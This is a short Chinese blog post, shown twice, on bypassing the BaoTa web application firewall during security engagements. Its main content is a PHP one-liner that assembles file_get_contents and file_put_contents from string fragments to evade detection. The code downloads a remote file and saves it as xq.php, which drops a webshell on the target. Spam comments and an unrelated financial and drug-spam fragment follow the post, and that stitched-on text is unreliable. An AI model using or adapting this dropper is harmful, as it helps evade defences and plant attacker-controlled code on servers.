宝塔WAF任意下载文件绕过
日常我们做安服的时候目标经常会有宝塔的WAF
让我们一直拦截上传不了
这里我就贴一个代码 不会被拦截
<?php $a = "file_";$b = "put_con";$c = "tents";$d = "get_con";$e = $a.$d.$c;$f = $a.$b.$c;$r = $e("http://127.0.0.1/exp/lwxat.txt");$f("xq.php",$r);?>
这里代码是不会被宝塔拦截的 只是一个简单的拼接字符串而已
文章 | 分类 | 评论 |
---|---|---|
18 | 7 | 2 |
宝塔WAF任意下载文件绕过
日常我们做安服的时候目标经常会有宝塔的WAF
让我们一直拦截上传不了
这里我就贴一个代码 不会被拦截
<?php $a = "file_";$b = "put_con";$c = "tents";$d = "get_con";$e = $a.$d.$c;$f = $a.$b.$c;$r = $e("http://127.0.0.1/exp/lwxat.txt");$f("xq.php",$r);?>
这里代码是不会被宝塔拦截的 只是一个简单的拼接字符串而已
Awesome! Its genuinely amazing piece of writing, I have got much clear idea about from this paragraph.
Issuer services logged a strong increase of 24 relative to 1Q 13 due to increased corporate actions and technology reimbursements clomid by avents We are therefore revising our estimate to be 2